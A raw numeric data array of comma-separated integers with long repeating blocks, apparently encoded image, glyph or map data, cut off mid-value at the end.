37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,37318,73156,44700,44701,37318,74225,74229,44717,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,46650,37318,37318,65657,40192,38525,37318,37318,39335,40192,44756,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,44775,67647,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,44810,44811,37318,37318,74488,44827,44876,37318,37318,41289,37087,37318,37318,37010,37318,37318,44898,37318,37318,65657,40192,38525,37318,37318,39335,40192,44921,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,44940,44949,37318,37318,37318,45580,37318,37318,37318,37318,37318,67919,57964,44969,44970,37318,37318,68795,44986,45022,37318,37318,41289,37087,37318,37318,37010,37318,37318,72142,37318,37318,65657,40192,38525,37318,37318,39335,40192,38201,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,45042,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45074,37318,37318,37318,37318,48276,59955,37318,37318,37318,59954,73317,57964,37318,45118,37318,37318,45127,45152,36991,37318,37318,41289,37087,37318,37318,37010,45201,37318,37318,37318,37318,65657,40192,38525,37318,37318,45220,40192,45247,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,37318,37318,37318,46105,37318,45266,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,63696,45404,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,47785,37318,37318,72642,72644,72644,72644,72644,61913,41542,41542,41542,41542,48876,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,45425,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,63696,45404,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,61913,41542,41542,41542,41542,48876,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,68819,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,63696,45404,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,61913,41542,41542,41542,41542,48876,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,63696,45404,37318,37318,37318,37318,37318,45442,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,61913,41542,41542,41542,41542,48876,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,50781,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,53518,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,63696,45404,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,61913,41542,41542,41542,41542,48876,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,616